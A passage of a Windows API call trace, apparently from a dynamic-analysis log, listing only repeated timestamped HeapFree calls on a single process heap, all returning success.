	[0071.367] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.370] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.373] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.375] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.378] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.378] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.380] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0071.383] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0071.386] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0071.387] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0071.387] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ea3370 | out: hHeap=0x720000) returned 1
	[0071.388] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0071.799] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0071.874] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.880] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0072.375] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0072.403] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0072.403] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0072.406] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0072.424] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0072.429] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0072.435] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0072.435] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0072.441] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0072.452] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0072.463] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0073.373] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0073.373] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0073.381] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0073.381] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0073.382] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0073.386] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0073.386] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0073.888] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f733c8 | out: hHeap=0x720000) returned 1
	[0073.890] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f733c8 | out: hHeap=0x720000) returned 1
	[0073.922] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f733c8 | out: hHeap=0x720000) returned 1
	[0073.936] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f733c8 | out: hHeap=0x720000) returned 1
	[0073.938] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f733c8 | out: hHeap=0x720000) returned 1
	[0073.963] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0073.964] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0073.965] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.403] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.418] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.444] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.446] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.447] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.449] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.450] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.452] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.453] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.455] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.906] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.911] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.914] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.922] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.925] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.928] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0074.931] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.933] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.936] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.938] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.942] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.945] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0074.947] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.338] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.348] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.359] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0075.372] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.374] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.375] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.377] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.378] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.380] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.381] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.383] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.384] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.386] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.387] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.389] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.632] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.635] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.639] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.642] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.647] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.649] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.654] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.656] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0075.656] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.656] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd33e0 | out: hHeap=0x720000) returned 1
	[0075.701] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd33e0 | out: hHeap=0x720000) returned 1
	[0075.721] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.753] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.757] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.762] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.764] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.769] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.771] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.776] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.778] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.783] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.785] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.789] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.791] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.794] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.799] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.801] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.805] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.808] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.811] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0075.815] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0076.559] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0076.566] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0076.572] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0076.583] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fe33e8 | out: hHeap=0x720000) returned 1
	[0076.598] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.602] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.604] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.605] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.607] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.608] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.610] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.611] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.613] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.614] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0076.616] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.098] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.115] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.120] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.123] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.125] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.168] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.173] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.175] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.179] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.179] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd33e0 | out: hHeap=0x720000) returned 1
	[0077.190] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.196] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.200] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.212] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.216] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.221] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.226] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.231] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.232] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.668] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.673] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.679] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.682] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.688] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.693] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.698] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.702] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.707] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.713] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.718] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.725] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.730] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.734] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.737] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.741] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0077.987] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.055] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.096] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.103] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.106] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.111] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.114] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.117] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.117] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.118] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.119] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.119] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.120] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.121] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.122] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.123] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.123] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.131] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.132] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.133] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.491] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.491] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.492] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.494] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.495] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.496] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.497] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.499] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.500] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.501] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.502] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.503] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.504] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.537] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0078.537] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.538] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.538] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.538] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.538] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.538] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.538] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.538] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.538] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.539] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.539] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.539] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.539] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.539] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.539] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.539] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.540] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.540] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0078.540] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.544] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.546] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.548] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.550] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.955] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.972] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.977] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.985] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.993] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0078.997] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0079.004] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
	[0079.010] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ff33f0 | out: hHeap=0x720000) returned 1
